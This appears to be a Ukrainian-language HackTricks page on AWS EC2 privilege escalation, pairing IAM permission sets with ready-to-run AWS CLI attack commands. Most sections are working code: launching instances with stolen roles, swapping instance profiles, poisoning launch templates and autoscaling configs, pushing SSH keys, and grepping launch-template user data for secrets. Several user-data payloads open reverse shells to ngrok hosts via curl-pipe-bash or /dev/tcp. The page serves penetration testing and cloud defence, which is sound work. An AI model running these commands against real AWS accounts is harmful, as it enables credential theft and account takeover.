AWS - EC2 Privesc
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
EC2
Для отримання більшої інформації про EC2 перевірте:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole
, ec2:RunInstances
Зловмисник може створити екземпляр, прикріпивши IAM роль, а потім отримати доступ до екземпляра, щоб вкрасти облікові дані IAM ролі з кінцевої точки метаданих.
- Доступ через SSH
Запустіть новий екземпляр, використовуючи створений ssh ключ (--key-name
), а потім підключіться до нього через ssh (якщо ви хочете створити новий, вам може знадобитися дозвіл ec2:CreateKeyPair
).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- Доступ через rev shell у даних користувача
Ви можете запустити новий екземпляр, використовуючи дані користувача (--user-data
), які надішлють вам rev shell. Вам не потрібно вказувати групу безпеки таким чином.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
Будьте обережні з GuradDuty, якщо ви використовуєте облікові дані IAM-ролі поза межами екземпляра:
Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі EC2, прикріпленої до існуючих профілів екземплярів.
Підвищення привілеїв до ECS
З цим набором дозволів ви також могли б створити екземпляр EC2 і зареєструвати його в кластері ECS. Таким чином, сервіси ECS будуть запущені в екземплярі EC2, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і вкрасти їх ролі ECS, прикріплені.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
Щоб дізнатися, як примусити служби ECS працювати на цьому новому EC2 екземплярі, перегляньте:
Якщо ви не можете створити новий екземпляр, але маєте дозвіл ecs:RegisterContainerInstance
, ви можете зареєструвати екземпляр у кластері та виконати коментовану атаку.
Потенційний вплив: Пряме підвищення привілеїв до ролей ECS, прикріплених до завдань.
iam:PassRole
, iam:AddRoleToInstanceProfile
Подібно до попереднього сценарію, зловмисник з цими дозволами може змінити IAM роль скомпрометованого екземпляра, щоб він міг вкрасти нові облікові дані.
Оскільки профіль екземпляра може мати лише 1 роль, якщо профіль екземпляра вже має роль (поширений випадок), вам також знадобиться iam:RemoveRoleFromInstanceProfile
.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
Якщо профіль екземпляра має роль і атакуючий не може її видалити, є інший обхідний шлях. Він може знайти профіль екземпляра без ролі або створити новий (iam:CreateInstanceProfile
), додати роль до цього профілю екземпляра (як обговорювалося раніше) і асоціювати профіль екземпляра з скомпрометованим iнстансом:
- Якщо екземпляр не має жодного профілю екземпляра (
ec2:AssociateIamInstanceProfile
)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанцію та мати додаткові дозволи або специфічний статус профілю інстанції).
iam:PassRole
(( ec2:AssociateIamInstanceProfile
& ec2:DisassociateIamInstanceProfile
) || ec2:ReplaceIamInstanceProfileAssociation
)
З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що з нею асоційований.
- Якщо є профіль інстанції, ви можете видалити профіль інстанції (
ec2:DisassociateIamInstanceProfile
) і асоціювати його.
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- або замінити профіль екземпляра скомпрометованого екземпляра (
ec2:ReplaceIamInstanceProfileAssociation
).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс та мати додаткові дозволи або специфічний статус профілю інстансу).
ec2:RequestSpotInstances
,iam:PassRole
Зловмисник з дозволами ec2:RequestSpotInstances
таiam:PassRole
може запросити Spot Instance з прикріпленою роллю EC2 та rev shell в даних користувача.
Після запуску інстансу він може викрасти IAM роль.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
Атакуючий з ec2:ModifyInstanceAttribute
може змінювати атрибути екземплярів. Серед них він може змінити дані користувача, що означає, що він може змусити екземпляр виконувати довільні дані. Це може бути використано для отримання rev shell до EC2 екземпляра.
Зверніть увагу, що атрибути можна змінювати лише під час зупинки екземпляра, тому дозволи ec2:StopInstances
та ec2:StartInstances
.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Потенційний вплив: Пряме підвищення привілеїв до будь-якої EC2 IAM ролі, прикріпленої до створеного екземпляра.
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
,ec2:ModifyLaunchTemplate
Зловмисник з правами ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
та ec2:ModifyLaunchTemplate
може створити нову версію шаблону запуску з реверсною оболонкою в даних користувача та будь-якою EC2 IAM роллю на ньому, змінити версію за замовчуванням, і будь-яка група Autoscaler, яка використовує цей шаблон запуску, що налаштований на використання останній або версії за замовчуванням, буде знову запускати екземпляри, використовуючи цей шаблон, і виконає реверсну оболонку.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2.
autoscaling:CreateLaunchConfiguration
, autoscaling:CreateAutoScalingGroup
, iam:PassRole
Зловмисник з правами autoscaling:CreateLaunchConfiguration
,autoscaling:CreateAutoScalingGroup
,iam:PassRole
може створити конфігурацію запуску з IAM роллю та rev shell всередині даних користувача, потім створити групу автоскалювання з цієї конфігурації та чекати, поки rev shell вкраде IAM роль.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2.
!autoscaling
Набір дозволів ec2:CreateLaunchTemplate
та autoscaling:CreateAutoScalingGroup
не є достатнім для підвищення привілеїв до ролі IAM, оскільки для прикріплення ролі, зазначеної в Конфігурації запуску або в Шаблоні запуску, вам потрібні дозволи iam:PassRole
та ec2:RunInstances
(що є відомим підвищенням привілеїв).
ec2-instance-connect:SendSSHPublicKey
Зловмисник з дозволом ec2-instance-connect:SendSSHPublicKey
може додати ssh ключ до користувача і використовувати його для доступу (якщо у нього є ssh доступ до екземпляра) або для підвищення привілеїв.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Потенційний вплив: Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Зловмисник з дозволом ec2-instance-connect:SendSerialConsoleSSHPublicKey
може додати ssh ключ до серійного з'єднання. Якщо серійне з'єднання не активоване, зловмисник потребує дозволу ec2:EnableSerialConsoleAccess
для його активації.
Щоб підключитися до серійного порту, вам також потрібно знати ім'я користувача та пароль користувача всередині машини.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації.
Потенційний вплив: (Дуже непереконливо) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів.
describe-launch-templates
,describe-launch-template-versions
Оскільки шаблони запуску мають версії, зловмисник з правами ec2:describe-launch-templates
та ec2:describe-launch-template-versions
може використати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
У наведених вище командах, хоча ми вказуємо певні шаблони (aws_|password|token|api
), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
Припустимо, ми знаходимо aws_access_key_id
та aws_secret_access_key
, ми можемо використовувати ці облікові дані для автентифікації в AWS.
Потенційний вплив: Пряме підвищення привілеїв до IAM користувача(ів).
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.